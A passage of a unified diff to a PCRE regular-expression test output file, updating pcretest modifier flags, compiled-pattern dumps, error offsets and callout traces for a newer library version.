-/((.*)a|(.*)b)z\1/sI
+/((.*)a|(.*)b)z\1/Is
 Capturing subpattern count = 3
 Max back reference = 1
 Partial matching not supported
@@ -4377,7 +4361,7 @@
 No first char
 Need char = 'z'
 
-/((.*)a|(.*)b)z\2/sI
+/((.*)a|(.*)b)z\2/Is
 Capturing subpattern count = 3
 Max back reference = 2
 Partial matching not supported
@@ -4385,7 +4369,7 @@
 No first char
 Need char = 'z'
 
-/((.*)a|(.*)b)z\3/sI
+/((.*)a|(.*)b)z\3/Is
 Capturing subpattern count = 3
 Max back reference = 3
 Partial matching not supported
@@ -4393,7 +4377,7 @@
 No first char
 Need char = 'z'
 
-/((.*)a|^(.*)b)z\3/sI
+/((.*)a|^(.*)b)z\3/Is
 Capturing subpattern count = 3
 Max back reference = 3
 Partial matching not supported
@@ -4401,14 +4385,14 @@
 No first char
 Need char = 'z'
 
-/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a/sI
+/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a/Is
 Capturing subpattern count = 31
 Partial matching not supported
 Options: anchored dotall
 No first char
 No need char
 
-/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\31/sI
+/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\31/Is
 Capturing subpattern count = 31
 Max back reference = 31
 Partial matching not supported
@@ -4416,7 +4400,7 @@
 No first char
 No need char
 
-/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\32/sI
+/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\32/Is
 Capturing subpattern count = 32
 Max back reference = 32
 Partial matching not supported
@@ -4424,17 +4408,17 @@
 No first char
 No need char
 
-/(a)(bc)/ND
+/(a)(bc)/INDZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3   5 Bra 0
-  6     a
-  8   5 Ket
- 11   7 Bra 0
- 14     bc
- 18   7 Ket
- 21  21 Ket
- 24     End
+        Bra
+        Bra
+        a
+        Ket
+        Bra
+        bc
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: no_auto_capture
@@ -4443,17 +4427,17 @@
   abc
  0: abc
 
-/(?P<one>a)(bc)/ND
+/(?P<one>a)(bc)/INDZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3   5 Bra 1
-  6     a
-  8   5 Ket
- 11   7 Bra 0
- 14     bc
- 18   7 Ket
- 21  21 Ket
- 24     End
+        Bra
+        CBra 1
+        a
+        Ket
+        Bra
+        bc
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Named capturing subpatterns:
@@ -4465,17 +4449,17 @@
  0: abc
  1: a
 
-/(a)(?P<named>bc)/ND
+/(a)(?P<named>bc)/INDZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3   5 Bra 0
-  6     a
-  8   5 Ket
- 11   7 Bra 1
- 14     bc
- 18   7 Ket
- 21  21 Ket
- 24     End
+        Bra
+        Bra
+        a
+        Ket
+        CBra 1
+        bc
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Named capturing subpatterns:
@@ -4484,7 +4468,7 @@
 First char = 'a'
 Need char = 'c'
 
-/(a+)*zz/
+/(a+)*zz/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -4500,7 +4484,7 @@
 Minimum match() recursion limit = 42
 No match
 
-/(aaa(?C1)bbb|ab)/
+/(aaa(?C1)bbb|ab)/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
@@ -4527,7 +4511,7 @@
 Callout data = -1
 No match
 
-/ab(?P<one>cd)ef(?P<two>gh)/
+/ab(?P<one>cd)ef(?P<two>gh)/I
 Capturing subpattern count = 2
 Named capturing subpatterns:
   one   1
@@ -4551,22 +4535,22 @@
  2: gh
   C cd (2) one
   C gh (2) two
-    abcdefgh\Cthree  
+    abcdefgh\Cthree
 no parentheses with name "three"
  0: abcdefgh
  1: cd
  2: gh
 copy substring three failed -7
 
-/(?P<Tes>)(?P<Test>)/D
+/(?P<Tes>)(?P<Test>)/DZ
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3   3 Bra 1
-  6   3 Ket
-  9   3 Bra 2
- 12   3 Ket
- 15  15 Ket
- 18     End
+        Bra
+        CBra 1
+        Ket
+        CBra 2
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Named capturing subpatterns:
@@ -4576,15 +4560,15 @@
 No first char
 No need char
 
-/(?P<Test>)(?P<Tes>)/D
+/(?P<Test>)(?P<Tes>)/DZ
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3   3 Bra 1
-  6   3 Ket
-  9   3 Bra 2
- 12   3 Ket
- 15  15 Ket
- 18     End
+        Bra
+        CBra 1
+        Ket
+        CBra 2
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 Named capturing subpatterns:
@@ -4594,7 +4578,7 @@
 No first char
 No need char
 
-/(?P<Z>zz)(?P<A>aa)/
+/(?P<Z>zz)(?P<A>aa)/I
 Capturing subpattern count = 2
 Named capturing subpatterns:
   A   2
@@ -4613,13 +4597,13 @@
  2: aa
   C aa (2) A
 
-/(?P<x>eks)(?P<x>eccs)/
-Failed: two named subpatterns have the same name at offset 16
+/(?P<x>eks)(?P<x>eccs)/I
+Failed: two named subpatterns have the same name at offset 15
 
-/(?P<abc>abc(?P<def>def)(?P<abc>xyz))/
-Failed: two named subpatterns have the same name at offset 31
+/(?P<abc>abc(?P<def>def)(?P<abc>xyz))/I
+Failed: two named subpatterns have the same name at offset 30
 
-"\[((?P<elem>\d+)(,(?P>elem))*)\]"
+"\[((?P<elem>\d+)(,(?P>elem))*)\]"I
 Capturing subpattern count = 3
 Named capturing subpatterns:
   elem   2
@@ -4634,10 +4618,10 @@
  3: ,4234
     *** Failers
 No match
-    []  
+    []
 No match
 
-"\[((?P<elem>\d+)(,(?P>elem))*)?\]"
+"\[((?P<elem>\d+)(,(?P>elem))*)?\]"I
 Capturing subpattern count = 3
 Named capturing subpatterns:
   elem   2
@@ -4650,103 +4634,103 @@
  1: 10,20,30,5,5,4,4,2,43,23,4234
  2: 10
  3: ,4234
-    [] 
+    []
  0: []
 
-/(a(b(?2)c))?/D
+/(a(b(?2)c))?/DZ
 ------------------------------------------------------------------
-  0  31 Bra 0
-  3     Brazero
-  4  24 Bra 1
-  7     a
-  9  16 Bra 2
- 12     b
- 14   6 Once
- 17   9 Recurse
- 20   6 Ket
- 23     c
- 25  16 Ket
- 28  24 Ket
- 31  31 Ket
- 34     End
+        Bra
+        Brazero
+        CBra 1
+        a
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 No options
 No first char
 No need char
 
-/(a(b(?2)c))*/D
+/(a(b(?2)c))*/DZ
 ------------------------------------------------------------------
-  0  31 Bra 0
-  3     Brazero
-  4  24 Bra 1
-  7     a
-  9  16 Bra 2
- 12     b
- 14   6 Once
- 17   9 Recurse
- 20   6 Ket
- 23     c
- 25  16 Ket
- 28  24 KetRmax
- 31  31 Ket
- 34     End
+        Bra
+        Brazero
+        CBra 1
+        a
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        KetRmax
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 No options
 No first char
 No need char
 
-/(a(b(?2)c)){0,2}/D
+/(a(b(?2)c)){0,2}/DZ
 ------------------------------------------------------------------
-  0  65 Bra 0
-  3     Brazero
-  4  58 Bra 0
-  7  24 Bra 1
- 10     a
- 12  16 Bra 2
- 15     b
- 17   6 Once
- 20  12 Recurse
- 23   6 Ket
- 26     c
- 28  16 Ket
- 31  24 Ket
- 34     Brazero
- 35  24 Bra 1
- 38     a
- 40  16 Bra 2
- 43     b
- 45   6 Once
- 48  12 Recurse
- 51   6 Ket
- 54     c
- 56  16 Ket
- 59  24 Ket
- 62  58 Ket
- 65  65 Ket
- 68     End
+        Bra
+        Brazero
+        Bra
+        CBra 1
+        a
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Brazero
+        CBra 1
+        a
+        CBra 2
+        b
+        Once
+        Recurse
+        Ket
+        c
+        Ket
+        Ket
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 2
 No options
 No first char
 No need char
 
-/[ab]{1}+/D
+/[ab]{1}+/DZ
 ------------------------------------------------------------------
-  0  47 Bra 0
-  3  41 Once
-  6     [ab]{1,1}
- 44  41 Ket
- 47  47 Ket
- 50     End
+        Bra
+        Once
+        [ab]{1,1}
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/i
+/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/Ii
 Capturing subpattern count = 3
 Partial matching not supported
 Options: caseless
@@ -4756,7 +4740,7 @@
  0: Baby Bjorn Active Carrier - With free SHIPPING!!
  1: Baby Bjorn Active Carrier - With free SHIPPING!!
 
-/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/iS
+/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/IiS
 Capturing subpattern count = 3
 Partial matching not supported
 Options: caseless
@@ -4766,15 +4750,15 @@
      Baby Bjorn Active Carrier - With free SHIPPING!!
  0: Baby Bjorn Active Carrier - With free SHIPPING!!
  1: Baby Bjorn Active Carrier - With free SHIPPING!!
-     
-/a*.*b/SD
+
+/a*.*b/ISDZ
 ------------------------------------------------------------------
-  0   9 Bra 0
-  3     a*
-  5     Any*
-  7     b
-  9   9 Ket
- 12     End
+        Bra
+        a*
+        Any*
+        b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -4783,19 +4767,19 @@
 Need char = 'b'
 Study returned NULL
 
-/(a|b)*.?c/SD 
+/(a|b)*.?c/ISDZ
 ------------------------------------------------------------------
-  0  21 Bra 0
-  3     Brazero
-  4   5 Bra 1
-  7     a
-  9   5 Alt
- 12     b
- 14  10 KetRmax
- 17     Any?
- 19     c
- 21  21 Ket
- 24     End
+        Bra
+        Brazero
+        CBra 1
+        a
+        Alt
+        b
+        KetRmax
+        Any?
+        c
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
@@ -4803,38 +4787,38 @@
 Need char = 'c'
 Study returned NULL
 
-/abc(?C255)de(?C)f/D
+/abc(?C255)de(?C)f/DZ
 ------------------------------------------------------------------
-  0  27 Bra 0
-  3     abc
-  9     Callout 255 10 1
- 15     de
- 19     Callout 0 16 1
- 25     f
- 27  27 Ket
- 30     End
+        Bra
+        abc
+        Callout 255 10 1
+        de
+        Callout 0 16 1
+        f
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'f'
 
-/abcde/CD
+/abcde/ICDZ
 ------------------------------------------------------------------
-  0  49 Bra 0
-  3     Callout 255 0 1
-  9     a
- 11     Callout 255 1 1
- 17     b
- 19     Callout 255 2 1
- 25     c
- 27     Callout 255 3 1
- 33     d
- 35     Callout 255 4 1
- 41     e
- 43     Callout 255 5 0
- 49  49 Ket
- 52     End
+        Bra
+        Callout 255 0 1
+        a
+        Callout 255 1 1
+        b
+        Callout 255 2 1
+        c
+        Callout 255 3 1
+        d
+        Callout 255 4 1
+        e
+        Callout 255 5 0
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options:
@@ -4849,7 +4833,7 @@
  +4 ^   ^     e
  +5 ^    ^    
  0: abcde
-  abcdfe 
+  abcdfe
 --->abcdfe
  +0 ^          a
  +1 ^^         b
@@ -4857,17 +4841,17 @@
  +3 ^  ^       d
  +4 ^   ^      e
 No match
-  
-/a*b/CD
+
+/a*b/ICDZ
 ------------------------------------------------------------------
-  0  25 Bra 0
-  3     Callout 255 0 2
-  9     a*
- 11     Callout 255 2 1
- 17     b
- 19     Callout 255 3 0
- 25  25 Ket
- 28     End
+        Bra
+        Callout 255 0 2
+        a*+
+        Callout 255 2 1
+        b
+        Callout 255 3 0
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -4886,26 +4870,16 @@
  +2 ^   ^     b
  +3 ^    ^    
  0: aaaab
-  aaaacb   
+  aaaacb
 --->aaaacb
  +0 ^          a*
  +2 ^   ^      b
- +2 ^  ^       b
- +2 ^ ^        b
- +2 ^^         b
- +2 ^          b
  +0  ^         a*
  +2  ^  ^      b
- +2  ^ ^       b
- +2  ^^        b
- +2  ^         b
  +0   ^        a*
  +2   ^ ^      b
- +2   ^^       b
- +2   ^        b
  +0    ^       a*
  +2    ^^      b
- +2    ^       b
  +0     ^      a*
  +2     ^      b
  +0      ^     a*
@@ -4913,16 +4887,16 @@
  +3      ^^    
  0: b
 
-/a+b/CD
+/a+b/ICDZ
 ------------------------------------------------------------------
-  0  25 Bra 0
-  3     Callout 255 0 2
-  9     a+
- 11     Callout 255 2 1
- 17     b
- 19     Callout 255 3 0
- 25  25 Ket
- 28     End
+        Bra
+        Callout 255 0 2
+        a++
+        Callout 255 2 1
+        b
+        Callout 255 3 0
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -4941,50 +4915,44 @@
  +2 ^   ^     b
  +3 ^    ^    
  0: aaaab
-  aaaacb   
+  aaaacb
 --->aaaacb
  +0 ^          a+
  +2 ^   ^      b
- +2 ^  ^       b
- +2 ^ ^        b
- +2 ^^         b
  +0  ^         a+
  +2  ^  ^      b
- +2  ^ ^       b
- +2  ^^        b
  +0   ^        a+
  +2   ^ ^      b
- +2   ^^       b
  +0    ^       a+
  +2    ^^      b
 No match
 
-/(abc|def)x/CD
+/(abc|def)x/ICDZ
 ------------------------------------------------------------------
-  0  92 Bra 0
-  3     Callout 255 0 9
-  9  33 Bra 1
- 12     Callout 255 1 1
- 18     a
- 20     Callout 255 2 1
- 26     b
- 28     Callout 255 3 1
- 34     c
- 36     Callout 255 4 0
- 42  33 Alt
- 45     Callout 255 5 1
- 51     d
- 53     Callout 255 6 1
- 59     e
- 61     Callout 255 7 1
- 67     f
- 69     Callout 255 8 0
- 75  66 Ket
- 78     Callout 255 9 1
- 84     x
- 86     Callout 255 10 0
- 92  92 Ket
- 95     End
+        Bra
+        Callout 255 0 9
+        CBra 1
+        Callout 255 1 1
+        a
+        Callout 255 2 1
+        b
+        Callout 255 3 1
+        c
+        Callout 255 4 0
+        Alt
+        Callout 255 5 1
+        d
+        Callout 255 6 1
+        e
+        Callout 255 7 1
+        f
+        Callout 255 8 0
+        Ket
+        Callout 255 9 1
+        x
+        Callout 255 10 0
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Options:
@@ -5049,7 +5017,7 @@
  +5        ^     d
 No match
 
-/(ab|cd){3,4}/C
+/(ab|cd){3,4}/IC
 Capturing subpattern count = 1
 Options:
 No first char
@@ -5091,7 +5059,7 @@
 +12 ^       ^    
  0: abcdabcd
  1: cd
-  abcdcdcdcdcd  
+  abcdcdcdcdcd
 --->abcdcdcdcdcd
  +0 ^                (ab|cd){3,4}
  +1 ^                a
@@ -5113,34 +5081,34 @@
  0: abcdcdcd
  1: cd
 
-/([ab]{,4}c|xy)/CD
+/([ab]{,4}c|xy)/ICDZ
 ------------------------------------------------------------------
-  0 131 Bra 0
-  3     Callout 255 0 14
-  9  88 Bra 1
- 12     Callout 255 1 4
- 18     [ab]
- 51     Callout 255 5 1
- 57     {
- 59     Callout 255 6 1
- 65     ,
- 67     Callout 255 7 1
- 73     4
- 75     Callout 255 8 1
- 81     }
- 83     Callout 255 9 1
- 89     c
- 91     Callout 255 10 0
- 97  25 Alt
-100     Callout 255 11 1
-106     x
-108     Callout 255 12 1
-114     y
-116     Callout 255 13 0
-122 113 Ket
-125     Callout 255 14 0
-131 131 Ket
-134     End
+        Bra
+        Callout 255 0 14
+        CBra 1
+        Callout 255 1 4
+        [ab]
+        Callout 255 5 1
+        {
+        Callout 255 6 1
+        ,
+        Callout 255 7 1
+        4
+        Callout 255 8 1
+        }
+        Callout 255 9 1
+        c
+        Callout 255 10 0
+        Alt
+        Callout 255 11 1
+        x
+        Callout 255 12 1
+        y
+        Callout 255 13 0
+        Ket
+        Callout 255 14 0
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Options:
@@ -5288,85 +5256,85 @@
 +11                                             ^    x
 No match
 
-/([ab]{1,4}c|xy){4,5}?123/CD
+/([ab]{1,4}c|xy){4,5}?123/ICDZ
 ------------------------------------------------------------------
-  0 485 Bra 0
-  3     Callout 255 0 21
-  9  61 Bra 1
- 12     Callout 255 1 9
- 18     [ab]{1,4}
- 56     Callout 255 10 1
- 62     c
- 64     Callout 255 11 0
- 70  25 Alt
- 73     Callout 255 12 1
- 79     x
- 81     Callout 255 13 1
- 87     y
- 89     Callout 255 14 0
- 95  86 Ket
- 98  61 Bra 1
-101     Callout 255 1 9
-107     [ab]{1,4}
-145     Callout 255 10 1
-151     c
-153     Callout 255 11 0
-159  25 Alt
-162     Callout 255 12 1
-168     x
-170     Callout 255 13 1
-176     y
-178     Callout 255 14 0
-184  86 Ket
-187  61 Bra 1
-190     Callout 255 1 9
-196     [ab]{1,4}
-234     Callout 255 10 1
-240     c
-242     Callout 255 11 0
-248  25 Alt
-251     Callout 255 12 1
-257     x
-259     Callout 255 13 1
-265     y
-267     Callout 255 14 0
-273  86 Ket
-276  61 Bra 1
-279     Callout 255 1 9
-285     [ab]{1,4}
-323     Callout 255 10 1
-329     c
-331     Callout 255 11 0
-337  25 Alt
-340     Callout 255 12 1
-346     x
-348     Callout 255 13 1
-354     y
-356     Callout 255 14 0
-362  86 Ket
-365     Braminzero
-366  61 Bra 1
-369     Callout 255 1 9
-375     [ab]{1,4}
-413     Callout 255 10 1
-419     c
-421     Callout 255 11 0
-427  25 Alt
-430     Callout 255 12 1
-436     x
-438     Callout 255 13 1
-444     y
-446     Callout 255 14 0
-452  86 Ket
-455     Callout 255 21 1
-461     1
-463     Callout 255 22 1
-469     2
-471     Callout 255 23 1
-477     3
-479     Callout 255 24 0
-485 485 Ket
-488     End
+        Bra
+        Callout 255 0 21
+        CBra 1
+        Callout 255 1 9
+        [ab]{1,4}
+        Callout 255 10 1
+        c
+        Callout 255 11 0
+        Alt
+        Callout 255 12 1
+        x
+        Callout 255 13 1
+        y
+        Callout 255 14 0
+        Ket
+        CBra 1
+        Callout 255 1 9
+        [ab]{1,4}
+        Callout 255 10 1
+        c
+        Callout 255 11 0
+        Alt
+        Callout 255 12 1
+        x
+        Callout 255 13 1
+        y
+        Callout 255 14 0
+        Ket
+        CBra 1
+        Callout 255 1 9
+        [ab]{1,4}
+        Callout 255 10 1
+        c
+        Callout 255 11 0
+        Alt
+        Callout 255 12 1
+        x
+        Callout 255 13 1
+        y
+        Callout 255 14 0
+        Ket
+        CBra 1
+        Callout 255 1 9
+        [ab]{1,4}
+        Callout 255 10 1
+        c
+        Callout 255 11 0
+        Alt
+        Callout 255 12 1
+        x
+        Callout 255 13 1
+        y
+        Callout 255 14 0
+        Ket
+        Braminzero
+        CBra 1
+        Callout 255 1 9
+        [ab]{1,4}
+        Callout 255 10 1
+        c
+        Callout 255 11 0
+        Alt
+        Callout 255 12 1
+        x
+        Callout 255 13 1
+        y
+        Callout 255 14 0
+        Ket
+        Callout 255 21 1
+        1
+        Callout 255 22 1
+        2
+        Callout 255 23 1
+        3
+        Callout 255 24 0
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -5407,8 +5375,8 @@
 No need char
   ab cd\>1
  0:  cd
-  
-/\b.*/Is 
+
+/\b.*/Is
 Capturing subpattern count = 0
 Partial matching not supported
 Options: dotall
@@ -5416,17 +5384,17 @@
 No need char
   ab cd\>1
  0:  cd
-  
+
 /(?!.bcd).*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 No need char
-  Xbcd12345 
+  Xbcd12345
  0: bcd12345
 
-/abcde/
+/abcde/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -5437,7 +5405,7 @@
 Partial match
     abcd\P
 Partial match
-    abcde\P   
+    abcde\P
  0: abcde
     the quick brown abc\P
 Partial match
@@ -5445,8 +5413,8 @@
 No match
     the quick brown abxyz fox\P
 No match
-    
-"^(0?[1-9]|[12][0-9]|3[01])/(0?[1-9]|1[012])/(20)?\d\d$"
+
+"^(0?[1-9]|[12][0-9]|3[01])/(0?[1-9]|1[012])/(20)?\d\d$"I
 Capturing subpattern count = 3
 Options: anchored
 No first char
@@ -5460,7 +5428,7 @@
  1: 13
  2: 5
  3: 20
-    02/05/09\P 
+    02/05/09\P
  0: 02/05/09
  1: 02
  2: 05
@@ -5470,7 +5438,7 @@
 Partial match
     1/2/0\P
 Partial match
-    1/2/04\P    
+    1/2/04\P
  0: 1/2/04
  1: 1
  2: 2
@@ -5478,7 +5446,7 @@
 Partial match
     02/\P
 Partial match
-    02/0\P   
+    02/0\P
 Partial match
     02/1\P
 Partial match
@@ -5494,11 +5462,11 @@
 No match
     0/1/2003\P
 No match
-    0/\P 
+    0/\P
 No match
-    02/0/\P 
+    02/0/\P
 No match
-    02/13\P  
+    02/13\P
 No match
 
 /0{0,2}ABC/I
@@ -5507,14 +5475,14 @@
 No options
 No first char
 Need char = 'C'
-    
+
 /\d{3,}ABC/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 Need char = 'C'
-    
+
 /\d*ABC/I
 Capturing subpattern count = 0
 Partial matching not supported
@@ -5529,7 +5497,7 @@
 No first char
 Need char = 'E'
 
-/[abc]?123/
+/[abc]?123/I
 Capturing subpattern count = 0
 No options
 No first char
@@ -5544,10 +5512,10 @@
 Partial match
     c12\P
 Partial match
-    c123\P      
+    c123\P
  0: c123
 
-/^(?:\d){3,5}X/
+/^(?:\d){3,5}X/I
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -5564,16 +5532,16 @@
  0: 1234X
     12345\P
 Partial match
-    12345X      
+    12345X
  0: 12345X
-    *** Failers 
+    *** Failers
 No match
-    1X 
+    1X
 No match
-    123456\P 
+    123456\P
 No match
 
-/abc/>testsavedregex
+/abc/I>testsavedregex
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -5582,18 +5550,14 @@
 <testsavedregex
 Compiled regex loaded from testsavedregex
 No study data
-Capturing subpattern count = 0
-No options
-First char = 'a'
-Need char = 'c'
     abc
  0: abc
     ** Failers
 No match
     bca
 No match
-    
-/abc/F>testsavedregex
+
+/abc/IF>testsavedregex
 Capturing subpattern count = 0
 No options
 First char = 'a'
@@ -5602,10 +5566,6 @@
 <testsavedregex
 Compiled regex (byte-inverted) loaded from testsavedregex
 No study data
-Capturing subpattern count = 0
-No options
-First char = 'a'
-Need char = 'c'
     abc
  0: abc
     ** Failers
@@ -5613,7 +5573,7 @@
     bca
 No match
 
-/(a|b)/S>testsavedregex
+/(a|b)/IS>testsavedregex
 Capturing subpattern count = 1
 No options
 No first char
@@ -5624,21 +5584,16 @@
 <testsavedregex
 Compiled regex loaded from testsavedregex
 Study data loaded from testsavedregex
-Capturing subpattern count = 1
-No options
-No first char
-No need char
-Starting byte set: a b 
     abc
  0: a
  1: a
     ** Failers
  0: a
  1: a
-    def  
+    def
 No match
-    
-/(a|b)/SF>testsavedregex
+
+/(a|b)/ISF>testsavedregex
 Capturing subpattern count = 1
 No options
 No first char
@@ -5649,21 +5604,16 @@
 <testsavedregex
 Compiled regex (byte-inverted) loaded from testsavedregex
 Study data loaded from testsavedregex
-Capturing subpattern count = 1
-No options
-No first char
-No need char
-Starting byte set: a b 
     abc
  0: a
  1: a
     ** Failers
  0: a
  1: a
-    def  
+    def
 No match
-    
-~<(\w+)/?>(.)*</(\1)>~smg
+
+~<(\w+)/?>(.)*</(\1)>~smgI
 Capturing subpattern count = 3
 Max back reference = 1
 Partial matching not supported
@@ -5682,59 +5632,62 @@
 No first char
 No need char
 
-/line\nbreak/
+/line\nbreak/I
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 No options
 First char = 'l'
 Need char = 'k'
     this is a line\nbreak
  0: line\x0abreak
-    line one\nthis is a line\nbreak in the second line 
+    line one\nthis is a line\nbreak in the second line
  0: line\x0abreak
 
-/line\nbreak/f
+/line\nbreak/If
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 Options: firstline
 First char = 'l'
 Need char = 'k'
     this is a line\nbreak
  0: line\x0abreak
-    ** Failers 
+    ** Failers
 No match
-    line one\nthis is a line\nbreak in the second line 
+    line one\nthis is a line\nbreak in the second line
 No match
 
-/line\nbreak/mf
+/line\nbreak/Imf
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 Options: multiline firstline
 First char = 'l'
 Need char = 'k'
     this is a line\nbreak
  0: line\x0abreak
-    ** Failers 
+    ** Failers
 No match
-    line one\nthis is a line\nbreak in the second line 
+    line one\nthis is a line\nbreak in the second line
 No match
 
-/ab.cd/P
+/ab.cd/IP
     ab-cd
  0: ab-cd
-    ab=cd 
+    ab=cd
  0: ab=cd
     ** Failers
 No match: POSIX code 17: match failed
     ab\ncd
 No match: POSIX code 17: match failed
 
-/ab.cd/Ps
+/ab.cd/IPs
     ab-cd
  0: ab-cd
-    ab=cd 
+    ab=cd
  0: ab=cd
     ab\ncd
  0: ab\x0acd
 
-/(?i)(?-i)AbCd/
+/(?i)(?-i)AbCd/I
 Capturing subpattern count = 0
 No options
 First char = 'A'
@@ -5743,19 +5696,19 @@
  0: AbCd
     ** Failers
 No match
-    abcd  
+    abcd
 No match
-    
-/a{11111111111111111111}/
+
+/a{11111111111111111111}/I
 Failed: number too big in {} quantifier at offset 22
 
-/(){64294967295}/
+/(){64294967295}/I
 Failed: number too big in {} quantifier at offset 14
 
-/(){2,4294967295}/
+/(){2,4294967295}/I
 Failed: number too big in {} quantifier at offset 15
 
-"(?i:a)(?i:b)(?i:c)(?i:d)(?i:e)(?i:f)(?i:g)(?i:h)(?i:i)(?i:j)(k)(?i:l)A\1B"
+"(?i:a)(?i:b)(?i:c)(?i:d)(?i:e)(?i:f)(?i:g)(?i:h)(?i:i)(?i:j)(k)(?i:l)A\1B"I
 Capturing subpattern count = 1
 Max back reference = 1
 No options
@@ -5765,7 +5718,7 @@
  0: abcdefghijklAkB
  1: k
 
-"(?P<n0>a)(?P<n1>b)(?P<n2>c)(?P<n3>d)(?P<n4>e)(?P<n5>f)(?P<n6>g)(?P<n7>h)(?P<n8>i)(?P<n9>j)(?P<n10>k)(?P<n11>l)A\11B"
+"(?P<n0>a)(?P<n1>b)(?P<n2>c)(?P<n3>d)(?P<n4>e)(?P<n5>f)(?P<n6>g)(?P<n7>h)(?P<n8>i)(?P<n9>j)(?P<n10>k)(?P<n11>l)A\11B"I
 Capturing subpattern count = 12
 Max back reference = 11
 Named capturing subpatterns:
@@ -5799,7 +5752,7 @@
 11: k
 12: l
 
-"(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)A\11B"
+"(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)A\11B"I
 Capturing subpattern count = 12
 Max back reference = 11
 No options
@@ -5820,7 +5773,7 @@
 11: k
 12: l
 
